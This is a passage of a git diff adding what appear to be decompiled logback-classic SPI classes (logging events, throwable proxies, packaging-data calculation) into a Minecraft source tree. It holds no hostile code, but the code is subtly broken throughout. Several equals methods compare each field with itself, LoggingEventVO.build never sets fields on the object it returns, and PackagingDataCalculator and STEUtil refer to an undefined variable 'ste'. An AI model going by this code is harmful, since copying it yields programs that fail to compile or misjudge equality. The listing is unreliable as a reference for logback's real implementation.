+  final Map<String, String> propertyMap;
+  final long birthTime;
+  
+  public LoggerContextVO(LoggerContext lc)
+  {
+    name = lc.getName();
+    propertyMap = lc.getCopyOfPropertyMap();
+    birthTime = lc.getBirthTime();
+  }
+  
+  public LoggerContextVO(String name, Map<String, String> propertyMap, long birthTime) {
+    this.name = name;
+    this.propertyMap = propertyMap;
+    this.birthTime = birthTime;
+  }
+  
+  public String getName() {
+    return name;
+  }
+  
+  public Map<String, String> getPropertyMap() {
+    return propertyMap;
+  }
+  
+  public long getBirthTime() {
+    return birthTime;
+  }
+  
+
+  public String toString()
+  {
+    return "LoggerContextVO{name='" + name + '\'' + ", propertyMap=" + propertyMap + ", birthTime=" + birthTime + '}';
+  }
+  
+
+
+
+  public boolean equals(Object o)
+  {
+    if (this == o) return true;
+    if (!(o instanceof LoggerContextVO)) { return false;
+    }
+    LoggerContextVO that = (LoggerContextVO)o;
+    
+    if (birthTime != birthTime) return false;
+    if (name != null ? !name.equals(name) : name != null) return false;
+    if (propertyMap != null ? !propertyMap.equals(propertyMap) : propertyMap != null) { return false;
+    }
+    return true;
+  }
+  
+  public int hashCode()
+  {
+    int result = name != null ? name.hashCode() : 0;
+    result = 31 * result + (propertyMap != null ? propertyMap.hashCode() : 0);
+    result = 31 * result + (int)(birthTime ^ birthTime >>> 32);
+    
+    return result;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/spi/LoggerRemoteView.java b/src/minecraft/ch/qos/logback/classic/spi/LoggerRemoteView.java
new file mode 100644
index 0000000..93ccbf8
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/spi/LoggerRemoteView.java
@@ -0,0 +1,49 @@
+package ch.qos.logback.classic.spi;
+
+import ch.qos.logback.classic.LoggerContext;
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LoggerRemoteView
+  implements Serializable
+{
+  private static final long serialVersionUID = 5028223666108713696L;
+  final LoggerContextVO loggerContextView;
+  final String name;
+  
+  public LoggerRemoteView(String name, LoggerContext lc)
+  {
+    this.name = name;
+    assert (lc.getLoggerContextRemoteView() != null);
+    loggerContextView = lc.getLoggerContextRemoteView();
+  }
+  
+  public LoggerContextVO getLoggerContextView() {
+    return loggerContextView;
+  }
+  
+  public String getName() {
+    return name;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/spi/LoggingEvent.java b/src/minecraft/ch/qos/logback/classic/spi/LoggingEvent.java
new file mode 100644
index 0000000..50eb448
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/spi/LoggingEvent.java
@@ -0,0 +1,365 @@
+package ch.qos.logback.classic.spi;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.classic.Logger;
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.util.LogbackMDCAdapter;
+import java.io.IOException;
+import java.io.ObjectOutputStream;
+import java.util.HashMap;
+import java.util.Map;
+import org.slf4j.MDC;
+import org.slf4j.Marker;
+import org.slf4j.helpers.FormattingTuple;
+import org.slf4j.helpers.MessageFormatter;
+import org.slf4j.spi.MDCAdapter;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LoggingEvent
+  implements ILoggingEvent
+{
+  transient String fqnOfLoggerClass;
+  private String threadName;
+  private String loggerName;
+  private LoggerContext loggerContext;
+  private LoggerContextVO loggerContextVO;
+  private transient Level level;
+  private String message;
+  transient String formattedMessage;
+  private transient Object[] argumentArray;
+  private ThrowableProxy throwableProxy;
+  private StackTraceElement[] callerDataArray;
+  private Marker marker;
+  private Map<String, String> mdcPropertyMap;
+  private static final Map<String, String> CACHED_NULL_MAP = new HashMap();
+  
+
+  private long timeStamp;
+  
+
+
+  public LoggingEvent() {}
+  
+
+
+  public LoggingEvent(String fqcn, Logger logger, Level level, String message, Throwable throwable, Object[] argArray)
+  {
+    fqnOfLoggerClass = fqcn;
+    loggerName = logger.getName();
+    loggerContext = logger.getLoggerContext();
+    loggerContextVO = loggerContext.getLoggerContextRemoteView();
+    this.level = level;
+    
+    this.message = message;
+    argumentArray = argArray;
+    
+    if (throwable == null) {
+      throwable = extractThrowableAnRearrangeArguments(argArray);
+    }
+    
+    if (throwable != null) {
+      throwableProxy = new ThrowableProxy(throwable);
+      LoggerContext lc = logger.getLoggerContext();
+      if (lc.isPackagingDataEnabled()) {
+        throwableProxy.calculatePackagingData();
+      }
+    }
+    
+    timeStamp = System.currentTimeMillis();
+  }
+  
+  private Throwable extractThrowableAnRearrangeArguments(Object[] argArray) {
+    Throwable extractedThrowable = EventArgUtil.extractThrowable(argArray);
+    if (EventArgUtil.successfulExtraction(extractedThrowable)) {
+      argumentArray = EventArgUtil.trimmedCopy(argArray);
+    }
+    return extractedThrowable;
+  }
+  
+  public void setArgumentArray(Object[] argArray) {
+    if (argumentArray != null) {
+      throw new IllegalStateException("argArray has been already set");
+    }
+    argumentArray = argArray;
+  }
+  
+  public Object[] getArgumentArray() {
+    return argumentArray;
+  }
+  
+  public Level getLevel() {
+    return level;
+  }
+  
+  public String getLoggerName() {
+    return loggerName;
+  }
+  
+  public void setLoggerName(String loggerName) {
+    this.loggerName = loggerName;
+  }
+  
+  public String getThreadName() {
+    if (threadName == null) {
+      threadName = Thread.currentThread().getName();
+    }
+    return threadName;
+  }
+  
+
+
+  public void setThreadName(String threadName)
+    throws IllegalStateException
+  {
+    if (this.threadName != null) {
+      throw new IllegalStateException("threadName has been already set");
+    }
+    this.threadName = threadName;
+  }
+  
+
+
+
+  public IThrowableProxy getThrowableProxy()
+  {
+    return throwableProxy;
+  }
+  
+
+
+  public void setThrowableProxy(ThrowableProxy tp)
+  {
+    if (throwableProxy != null) {
+      throw new IllegalStateException("ThrowableProxy has been already set.");
+    }
+    throwableProxy = tp;
+  }
+  
+
+
+
+
+
+
+
+
+  public void prepareForDeferredProcessing()
+  {
+    getFormattedMessage();
+    getThreadName();
+    
+    getMDCPropertyMap();
+  }
+  
+  public LoggerContextVO getLoggerContextVO() {
+    return loggerContextVO;
+  }
+  
+  public void setLoggerContextRemoteView(LoggerContextVO loggerContextVO) {
+    this.loggerContextVO = loggerContextVO;
+  }
+  
+  public String getMessage() {
+    return message;
+  }
+  
+  public void setMessage(String message) {
+    if (this.message != null) {
+      throw new IllegalStateException("The message for this event has been set already.");
+    }
+    
+    this.message = message;
+  }
+  
+  public long getTimeStamp() {
+    return timeStamp;
+  }
+  
+  public void setTimeStamp(long timeStamp) {
+    this.timeStamp = timeStamp;
+  }
+  
+  public void setLevel(Level level) {
+    if (this.level != null) {
+      throw new IllegalStateException("The level has been already set for this event.");
+    }
+    
+    this.level = level;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public StackTraceElement[] getCallerData()
+  {
+    if (callerDataArray == null) {
+      callerDataArray = CallerData.extract(new Throwable(), fqnOfLoggerClass, loggerContext.getMaxCallerDataDepth(), loggerContext.getFrameworkPackages());
+    }
+    
+    return callerDataArray;
+  }
+  
+  public boolean hasCallerData() {
+    return callerDataArray != null;
+  }
+  
+  public void setCallerData(StackTraceElement[] callerDataArray) {
+    this.callerDataArray = callerDataArray;
+  }
+  
+  public Marker getMarker() {
+    return marker;
+  }
+  
+  public void setMarker(Marker marker) {
+    if (this.marker != null) {
+      throw new IllegalStateException("The marker has been already set for this event.");
+    }
+    
+    this.marker = marker;
+  }
+  
+  public long getContextBirthTime() {
+    return loggerContextVO.getBirthTime();
+  }
+  
+  public String getFormattedMessage()
+  {
+    if (formattedMessage != null) {
+      return formattedMessage;
+    }
+    if (argumentArray != null) {
+      formattedMessage = MessageFormatter.arrayFormat(message, argumentArray).getMessage();
+    }
+    else {
+      formattedMessage = message;
+    }
+    
+    return formattedMessage;
+  }
+  
+  public Map<String, String> getMDCPropertyMap()
+  {
+    if (mdcPropertyMap == null) {
+      MDCAdapter mdc = MDC.getMDCAdapter();
+      if ((mdc instanceof LogbackMDCAdapter)) {
+        mdcPropertyMap = ((LogbackMDCAdapter)mdc).getPropertyMap();
+      } else {
+        mdcPropertyMap = mdc.getCopyOfContextMap();
+      }
+    }
+    if (mdcPropertyMap == null) {
+      mdcPropertyMap = CACHED_NULL_MAP;
+    }
+    return mdcPropertyMap;
+  }
+  
+
+
+
+
+
+  public void setMDCPropertyMap(Map<String, String> map)
+  {
+    if (mdcPropertyMap != null) {
+      throw new IllegalStateException("The MDCPropertyMap has been already set for this event.");
+    }
+    
+    mdcPropertyMap = map;
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public Map<String, String> getMdc()
+  {
+    return getMDCPropertyMap();
+  }
+  
+  public String toString()
+  {
+    StringBuilder sb = new StringBuilder();
+    sb.append('[');
+    sb.append(level).append("] ");
+    sb.append(getFormattedMessage());
+    return sb.toString();
+  }
+  
+
+
+
+
+  private void writeObject(ObjectOutputStream out)
+    throws IOException
+  {
+    throw new UnsupportedOperationException(getClass() + " does not support serialization. " + "Use LoggerEventVO instance instead. See also LoggerEventVO.build method.");
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/spi/LoggingEventVO.java b/src/minecraft/ch/qos/logback/classic/spi/LoggingEventVO.java
new file mode 100644
index 0000000..aedc5a8
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/spi/LoggingEventVO.java
@@ -0,0 +1,249 @@
+package ch.qos.logback.classic.spi;
+
+import ch.qos.logback.classic.Level;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Map;
+import org.slf4j.Marker;
+import org.slf4j.helpers.FormattingTuple;
+import org.slf4j.helpers.MessageFormatter;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LoggingEventVO
+  implements ILoggingEvent, Serializable
+{
+  private static final long serialVersionUID = 6553722650255690312L;
+  private static final int NULL_ARGUMENT_ARRAY = -1;
+  private static final String NULL_ARGUMENT_ARRAY_ELEMENT = "NULL_ARGUMENT_ARRAY_ELEMENT";
+  private String threadName;
+  private String loggerName;
+  private LoggerContextVO loggerContextVO;
+  private transient Level level;
+  private String message;
+  private transient String formattedMessage;
+  private transient Object[] argumentArray;
+  private ThrowableProxyVO throwableProxy;
+  private StackTraceElement[] callerDataArray;
+  private Marker marker;
+  private Map<String, String> mdcPropertyMap;
+  private long timeStamp;
+  
+  public LoggingEventVO() {}
+  
+  public static LoggingEventVO build(ILoggingEvent le)
+  {
+    LoggingEventVO ledo = new LoggingEventVO();
+    loggerName = le.getLoggerName();
+    loggerContextVO = le.getLoggerContextVO();
+    threadName = le.getThreadName();
+    level = le.getLevel();
+    message = le.getMessage();
+    argumentArray = le.getArgumentArray();
+    marker = le.getMarker();
+    mdcPropertyMap = le.getMDCPropertyMap();
+    timeStamp = le.getTimeStamp();
+    throwableProxy = ThrowableProxyVO.build(le.getThrowableProxy());
+    
+
+    if (le.hasCallerData()) {
+      callerDataArray = le.getCallerData();
+    }
+    return ledo;
+  }
+  
+  public String getThreadName() {
+    return threadName;
+  }
+  
+  public LoggerContextVO getLoggerContextVO() {
+    return loggerContextVO;
+  }
+  
+  public String getLoggerName() {
+    return loggerName;
+  }
+  
+  public Level getLevel() {
+    return level;
+  }
+  
+  public String getMessage() {
+    return message;
+  }
+  
+  public String getFormattedMessage() {
+    if (formattedMessage != null) {
+      return formattedMessage;
+    }
+    
+    if (argumentArray != null) {
+      formattedMessage = MessageFormatter.arrayFormat(message, argumentArray).getMessage();
+    }
+    else {
+      formattedMessage = message;
+    }
+    
+    return formattedMessage;
+  }
+  
+  public Object[] getArgumentArray() {
+    return argumentArray;
+  }
+  
+  public IThrowableProxy getThrowableProxy() {
+    return throwableProxy;
+  }
+  
+  public StackTraceElement[] getCallerData() {
+    return callerDataArray;
+  }
+  
+  public boolean hasCallerData() {
+    return callerDataArray != null;
+  }
+  
+  public Marker getMarker() {
+    return marker;
+  }
+  
+  public long getTimeStamp() {
+    return timeStamp;
+  }
+  
+  public long getContextBirthTime() {
+    return loggerContextVO.getBirthTime();
+  }
+  
+  public LoggerContextVO getContextLoggerRemoteView() {
+    return loggerContextVO;
+  }
+  
+  public Map<String, String> getMDCPropertyMap() {
+    return mdcPropertyMap;
+  }
+  
+  public Map<String, String> getMdc() { return mdcPropertyMap; }
+  
+  public void prepareForDeferredProcessing() {}
+  
+  private void writeObject(ObjectOutputStream out)
+    throws IOException
+  {
+    out.defaultWriteObject();
+    out.writeInt(level.levelInt);
+    if (argumentArray != null) {
+      int len = argumentArray.length;
+      out.writeInt(len);
+      for (int i = 0; i < argumentArray.length; i++) {
+        if (argumentArray[i] != null) {
+          out.writeObject(argumentArray[i].toString());
+        } else {
+          out.writeObject("NULL_ARGUMENT_ARRAY_ELEMENT");
+        }
+      }
+    } else {
+      out.writeInt(-1);
+    }
+  }
+  
+  private void readObject(ObjectInputStream in)
+    throws IOException, ClassNotFoundException
+  {
+    in.defaultReadObject();
+    int levelInt = in.readInt();
+    level = Level.toLevel(levelInt);
+    
+    int argArrayLen = in.readInt();
+    if (argArrayLen != -1) {
+      argumentArray = new String[argArrayLen];
+      for (int i = 0; i < argArrayLen; i++) {
+        Object val = in.readObject();
+        if (!"NULL_ARGUMENT_ARRAY_ELEMENT".equals(val)) {
+          argumentArray[i] = val;
+        }
+      }
+    }
+  }
+  
+  public int hashCode()
+  {
+    int prime = 31;
+    int result = 1;
+    result = 31 * result + (message == null ? 0 : message.hashCode());
+    result = 31 * result + (threadName == null ? 0 : threadName.hashCode());
+    
+    result = 31 * result + (int)(timeStamp ^ timeStamp >>> 32);
+    return result;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (this == obj)
+      return true;
+    if (obj == null)
+      return false;
+    if (getClass() != obj.getClass())
+      return false;
+    LoggingEventVO other = (LoggingEventVO)obj;
+    if (message == null) {
+      if (message != null)
+        return false;
+    } else if (!message.equals(message)) {
+      return false;
+    }
+    if (loggerName == null) {
+      if (loggerName != null)
+        return false;
+    } else if (!loggerName.equals(loggerName)) {
+      return false;
+    }
+    if (threadName == null) {
+      if (threadName != null)
+        return false;
+    } else if (!threadName.equals(threadName))
+      return false;
+    if (timeStamp != timeStamp) {
+      return false;
+    }
+    if (marker == null) {
+      if (marker != null)
+        return false;
+    } else if (!marker.equals(marker)) {
+      return false;
+    }
+    if (mdcPropertyMap == null) {
+      if (mdcPropertyMap != null)
+        return false;
+    } else if (!mdcPropertyMap.equals(mdcPropertyMap))
+      return false;
+    return true;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/spi/PackagingDataCalculator.java b/src/minecraft/ch/qos/logback/classic/spi/PackagingDataCalculator.java
new file mode 100644
index 0000000..a403c2b
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/spi/PackagingDataCalculator.java
@@ -0,0 +1,250 @@
+package ch.qos.logback.classic.spi;
+
+import java.io.PrintStream;
+import java.net.URL;
+import java.security.CodeSource;
+import java.security.ProtectionDomain;
+import java.util.HashMap;
+import sun.reflect.Reflection;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class PackagingDataCalculator
+{
+  static final StackTraceElementProxy[] STEP_ARRAY_TEMPLATE = new StackTraceElementProxy[0];
+  
+  HashMap<String, ClassPackagingData> cache = new HashMap();
+  
+  private static boolean GET_CALLER_CLASS_METHOD_AVAILABLE = false;
+  
+
+
+
+  static
+  {
+    try
+    {
+      Reflection.getCallerClass(2);
+      GET_CALLER_CLASS_METHOD_AVAILABLE = true;
+
+    }
+    catch (NoClassDefFoundError e) {}catch (NoSuchMethodError e) {}catch (UnsupportedOperationException e) {}catch (Throwable e)
+    {
+      System.err.println("Unexpected exception");
+      e.printStackTrace();
+    }
+  }
+  
+  public void calculate(IThrowableProxy tp)
+  {
+    while (tp != null) {
+      populateFrames(tp.getStackTraceElementProxyArray());
+      IThrowableProxy[] suppressed = tp.getSuppressed();
+      if (suppressed != null) {
+        for (IThrowableProxy current : suppressed) {
+          populateFrames(current.getStackTraceElementProxyArray());
+        }
+      }
+      tp = tp.getCause();
+    }
+  }
+  
+
+  void populateFrames(StackTraceElementProxy[] stepArray)
+  {
+    Throwable t = new Throwable("local stack reference");
+    StackTraceElement[] localteSTEArray = t.getStackTrace();
+    int commonFrames = STEUtil.findNumberOfCommonFrames(localteSTEArray, stepArray);
+    
+    int localFirstCommon = localteSTEArray.length - commonFrames;
+    int stepFirstCommon = stepArray.length - commonFrames;
+    
+    ClassLoader lastExactClassLoader = null;
+    ClassLoader firsExactClassLoader = null;
+    
+    int missfireCount = 0;
+    for (int i = 0; i < commonFrames; i++) {
+      Class callerClass = null;
+      if (GET_CALLER_CLASS_METHOD_AVAILABLE) {
+        callerClass = Reflection.getCallerClass(localFirstCommon + i - missfireCount + 1);
+      }
+      
+      StackTraceElementProxy step = stepArray[(stepFirstCommon + i)];
+      String stepClassname = ste.getClassName();
+      
+      if ((callerClass != null) && (stepClassname.equals(callerClass.getName())))
+      {
+        lastExactClassLoader = callerClass.getClassLoader();
+        if (firsExactClassLoader == null) {
+          firsExactClassLoader = lastExactClassLoader;
+        }
+        ClassPackagingData pi = calculateByExactType(callerClass);
+        step.setClassPackagingData(pi);
+      } else {
+        missfireCount++;
+        ClassPackagingData pi = computeBySTEP(step, lastExactClassLoader);
+        step.setClassPackagingData(pi);
+      }
+    }
+    populateUncommonFrames(commonFrames, stepArray, firsExactClassLoader);
+  }
+  
+  void populateUncommonFrames(int commonFrames, StackTraceElementProxy[] stepArray, ClassLoader firstExactClassLoader)
+  {
+    int uncommonFrames = stepArray.length - commonFrames;
+    for (int i = 0; i < uncommonFrames; i++) {
+      StackTraceElementProxy step = stepArray[i];
+      ClassPackagingData pi = computeBySTEP(step, firstExactClassLoader);
+      step.setClassPackagingData(pi);
+    }
+  }
+  
+  private ClassPackagingData calculateByExactType(Class type) {
+    String className = type.getName();
+    ClassPackagingData cpd = (ClassPackagingData)cache.get(className);
+    if (cpd != null) {
+      return cpd;
+    }
+    String version = getImplementationVersion(type);
+    String codeLocation = getCodeLocation(type);
+    cpd = new ClassPackagingData(codeLocation, version);
+    cache.put(className, cpd);
+    return cpd;
+  }
+  
+  private ClassPackagingData computeBySTEP(StackTraceElementProxy step, ClassLoader lastExactClassLoader)
+  {
+    String className = ste.getClassName();
+    ClassPackagingData cpd = (ClassPackagingData)cache.get(className);
+    if (cpd != null) {
+      return cpd;
+    }
+    Class type = bestEffortLoadClass(lastExactClassLoader, className);
+    String version = getImplementationVersion(type);
+    String codeLocation = getCodeLocation(type);
+    cpd = new ClassPackagingData(codeLocation, version, false);
+    cache.put(className, cpd);
+    return cpd;
+  }
+  
+  String getImplementationVersion(Class type) {
+    if (type == null) {
+      return "na";
+    }
+    Package aPackage = type.getPackage();
+    if (aPackage != null) {
+      String v = aPackage.getImplementationVersion();
+      if (v == null) {
+        return "na";
+      }
+      return v;
+    }
+    
+    return "na";
+  }
+  
+  String getCodeLocation(Class type)
+  {
+    try {
+      if (type != null)
+      {
+        CodeSource codeSource = type.getProtectionDomain().getCodeSource();
+        if (codeSource != null) {
+          URL resource = codeSource.getLocation();
+          if (resource != null) {
+            String locationStr = resource.toString();
+            
+            String result = getCodeLocation(locationStr, '/');
+            if (result != null) {
+              return result;
+            }
+            return getCodeLocation(locationStr, '\\');
+          }
+        }
+      }
+    }
+    catch (Exception e) {}
+    
+    return "na";
+  }
+  
+  private String getCodeLocation(String locationStr, char separator) {
+    int idx = locationStr.lastIndexOf(separator);
+    if (isFolder(idx, locationStr)) {
+      idx = locationStr.lastIndexOf(separator, idx - 1);
+      return locationStr.substring(idx + 1); }
+    if (idx > 0) {
+      return locationStr.substring(idx + 1);
+    }
+    return null;
+  }
+  
+  private boolean isFolder(int idx, String text) {
+    return (idx != -1) && (idx + 1 == text.length());
+  }
+  
+  private Class loadClass(ClassLoader cl, String className) {
+    if (cl == null) {
+      return null;
+    }
+    try {
+      return cl.loadClass(className);
+    } catch (ClassNotFoundException e1) {
+      return null;
+    } catch (NoClassDefFoundError e1) {
+      return null;
+    } catch (Exception e) {
+      e.printStackTrace(); }
+    return null;
+  }
+  
+
+
+
+
+
+
+
+  private Class bestEffortLoadClass(ClassLoader lastGuaranteedClassLoader, String className)
+  {
+    Class result = loadClass(lastGuaranteedClassLoader, className);
+    if (result != null) {
+      return result;
+    }
+    ClassLoader tccl = Thread.currentThread().getContextClassLoader();
+    if (tccl != lastGuaranteedClassLoader) {
+      result = loadClass(tccl, className);
+    }
+    if (result != null) {
+      return result;
+    }
+    try
+    {
+      return Class.forName(className);
+    } catch (ClassNotFoundException e1) {
+      return null;
+    } catch (NoClassDefFoundError e1) {
+      return null;
+    } catch (Exception e) {
+      e.printStackTrace(); }
+    return null;
+  }
+  
+  public PackagingDataCalculator() {}
+}
diff --git a/src/minecraft/ch/qos/logback/classic/spi/PlatformInfo.java b/src/minecraft/ch/qos/logback/classic/spi/PlatformInfo.java
new file mode 100644
index 0000000..6c46ea9
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/spi/PlatformInfo.java
@@ -0,0 +1,38 @@
+package ch.qos.logback.classic.spi;
+
+
+
+
+
+
+
+public class PlatformInfo
+{
+  private static final int UNINITIALIZED = -1;
+  
+
+
+
+
+
+  public PlatformInfo() {}
+  
+
+
+
+
+
+  private static int hasJMXObjectName = -1;
+  
+  public static boolean hasJMXObjectName() {
+    if (hasJMXObjectName == -1) {
+      try {
+        Class.forName("javax.management.ObjectName");
+        hasJMXObjectName = 1;
+      } catch (Throwable e) {
+        hasJMXObjectName = 0;
+      }
+    }
+    return hasJMXObjectName == 1;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/spi/STEUtil.java b/src/minecraft/ch/qos/logback/classic/spi/STEUtil.java
new file mode 100644
index 0000000..6f03f3e
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/spi/STEUtil.java
@@ -0,0 +1,61 @@
+package ch.qos.logback.classic.spi;
+
+
+
+
+
+
+
+public class STEUtil
+{
+  public STEUtil() {}
+  
+
+
+
+
+
+
+  static int UNUSED_findNumberOfCommonFrames(StackTraceElement[] steArray, StackTraceElement[] otherSTEArray)
+  {
+    if (otherSTEArray == null) {
+      return 0;
+    }
+    
+    int steIndex = steArray.length - 1;
+    int parentIndex = otherSTEArray.length - 1;
+    int count = 0;
+    while ((steIndex >= 0) && (parentIndex >= 0) && 
+      (steArray[steIndex].equals(otherSTEArray[parentIndex]))) {
+      count++;
+      
+
+
+      steIndex--;
+      parentIndex--;
+    }
+    return count;
+  }
+  
+
+  static int findNumberOfCommonFrames(StackTraceElement[] steArray, StackTraceElementProxy[] otherSTEPArray)
+  {
+    if (otherSTEPArray == null) {
+      return 0;
+    }
+    
+    int steIndex = steArray.length - 1;
+    int parentIndex = otherSTEPArray.length - 1;
+    int count = 0;
+    while ((steIndex >= 0) && (parentIndex >= 0) && 
+      (steArray[steIndex].equals(ste))) {
+      count++;
+      
+
+
+      steIndex--;
+      parentIndex--;
+    }
+    return count;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/spi/StackTraceElementProxy.java b/src/minecraft/ch/qos/logback/classic/spi/StackTraceElementProxy.java
new file mode 100644
index 0000000..0431b38
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/spi/StackTraceElementProxy.java
@@ -0,0 +1,90 @@
+package ch.qos.logback.classic.spi;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class StackTraceElementProxy
+  implements Serializable
+{
+  private static final long serialVersionUID = -2374374378980555982L;
+  final StackTraceElement ste;
+  private transient String steAsString;
+  private ClassPackagingData cpd;
+  
+  public StackTraceElementProxy(StackTraceElement ste)
+  {
+    if (ste == null) {
+      throw new IllegalArgumentException("ste cannot be null");
+    }
+    this.ste = ste;
+  }
+  
+  public String getSTEAsString()
+  {
+    if (steAsString == null) {
+      steAsString = ("at " + ste.toString());
+    }
+    return steAsString;
+  }
+  
+  public StackTraceElement getStackTraceElement() {
+    return ste;
+  }
+  
+  public void setClassPackagingData(ClassPackagingData cpd) {
+    if (this.cpd != null) {
+      throw new IllegalStateException("Packaging data has been already set");
+    }
+    this.cpd = cpd;
+  }
+  
+  public ClassPackagingData getClassPackagingData() {
+    return cpd;
+  }
+  
+  public int hashCode()
+  {
+    return ste.hashCode();
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (this == obj)
+      return true;
+    if (obj == null)
+      return false;
+    if (getClass() != obj.getClass())
+      return false;
+    StackTraceElementProxy other = (StackTraceElementProxy)obj;
+    
+    if (!ste.equals(ste)) {
+      return false;
+    }
+    if (cpd == null) {
+      if (cpd != null) {
+        return false;
+      }
+    } else if (!cpd.equals(cpd)) {
+      return false;
+    }
+    return true;
+  }
+  
+  public String toString()
+  {
+    return getSTEAsString();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/spi/ThrowableProxy.java b/src/minecraft/ch/qos/logback/classic/spi/ThrowableProxy.java
new file mode 100644
index 0000000..9c55871
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/spi/ThrowableProxy.java
@@ -0,0 +1,163 @@
+package ch.qos.logback.classic.spi;
+
+import ch.qos.logback.core.CoreConstants;
+import java.io.PrintStream;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ThrowableProxy
+  implements IThrowableProxy
+{
+  private Throwable throwable;
+  private String className;
+  private String message;
+  StackTraceElementProxy[] stackTraceElementProxyArray;
+  int commonFrames;
+  private ThrowableProxy cause;
+  private ThrowableProxy[] suppressed = NO_SUPPRESSED;
+  
+  private transient PackagingDataCalculator packagingDataCalculator;
+  private boolean calculatedPackageData = false;
+  private static final Method GET_SUPPRESSED_METHOD;
+  
+  static
+  {
+    Method method = null;
+    try {
+      method = Throwable.class.getMethod("getSuppressed", new Class[0]);
+    }
+    catch (NoSuchMethodException e) {}
+    
+    GET_SUPPRESSED_METHOD = method;
+  }
+  
+  private static final ThrowableProxy[] NO_SUPPRESSED = new ThrowableProxy[0];
+  
+  public ThrowableProxy(Throwable throwable)
+  {
+    this.throwable = throwable;
+    className = throwable.getClass().getName();
+    message = throwable.getMessage();
+    stackTraceElementProxyArray = ThrowableProxyUtil.steArrayToStepArray(throwable.getStackTrace());
+    
+
+    Throwable nested = throwable.getCause();
+    
+    if (nested != null) {
+      cause = new ThrowableProxy(nested);
+      cause.commonFrames = ThrowableProxyUtil.findNumberOfCommonFrames(nested.getStackTrace(), stackTraceElementProxyArray);
+    }
+    
+
+    if (GET_SUPPRESSED_METHOD != null) {
+      try
+      {
+        Object obj = GET_SUPPRESSED_METHOD.invoke(throwable, new Object[0]);
+        if ((obj instanceof Throwable[])) {
+          Throwable[] throwableSuppressed = (Throwable[])obj;
+          if (throwableSuppressed.length > 0) {
+            suppressed = new ThrowableProxy[throwableSuppressed.length];
+            for (int i = 0; i < throwableSuppressed.length; i++) {
+              suppressed[i] = new ThrowableProxy(throwableSuppressed[i]);
+              suppressed[i].commonFrames = ThrowableProxyUtil.findNumberOfCommonFrames(throwableSuppressed[i].getStackTrace(), stackTraceElementProxyArray);
+            }
+          }
+        }
+      }
+      catch (IllegalAccessException e) {}catch (InvocationTargetException e) {}
+    }
+  }
+  
+
+
+
+
+
+
+  public Throwable getThrowable()
+  {
+    return throwable;
+  }
+  
+  public String getMessage() {
+    return message;
+  }
+  
+
+
+
+
+  public String getClassName()
+  {
+    return className;
+  }
+  
+  public StackTraceElementProxy[] getStackTraceElementProxyArray() {
+    return stackTraceElementProxyArray;
+  }
+  
+  public int getCommonFrames() {
+    return commonFrames;
+  }
+  
+
+
+
+
+  public IThrowableProxy getCause()
+  {
+    return cause;
+  }
+  
+  public IThrowableProxy[] getSuppressed() {
+    return suppressed;
+  }
+  
+
+
+  public PackagingDataCalculator getPackagingDataCalculator()
+  {
+    if ((throwable != null) && (packagingDataCalculator == null)) {
+      packagingDataCalculator = new PackagingDataCalculator();
+    }
+    return packagingDataCalculator;
+  }
+  
+  public void calculatePackagingData() {
+    if (calculatedPackageData) {
+      return;
+    }
+    PackagingDataCalculator pdc = getPackagingDataCalculator();
+    if (pdc != null) {
+      calculatedPackageData = true;
+      pdc.calculate(this);
+    }
+  }
+  
+
+  public void fullDump()
+  {
+    StringBuilder builder = new StringBuilder();
+    for (StackTraceElementProxy step : stackTraceElementProxyArray) {
+      String string = step.toString();
+      builder.append('\t').append(string);
+      ThrowableProxyUtil.subjoinPackagingData(builder, step);
+      builder.append(CoreConstants.LINE_SEPARATOR);
+    }
+    System.out.println(builder.toString());
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/spi/ThrowableProxyUtil.java b/src/minecraft/ch/qos/logback/classic/spi/ThrowableProxyUtil.java
new file mode 100644
index 0000000..937e4ab
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/spi/ThrowableProxyUtil.java
@@ -0,0 +1,189 @@
+package ch.qos.logback.classic.spi;
+
+import ch.qos.logback.core.CoreConstants;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ThrowableProxyUtil
+{
+  public static final int REGULAR_EXCEPTION_INDENT = 1;
+  public static final int SUPPRESSED_EXCEPTION_INDENT = 1;
+  private static final int BUILDER_CAPACITY = 2048;
+  
+  public ThrowableProxyUtil() {}
+  
+  public static void build(ThrowableProxy nestedTP, Throwable nestedThrowable, ThrowableProxy parentTP)
+  {
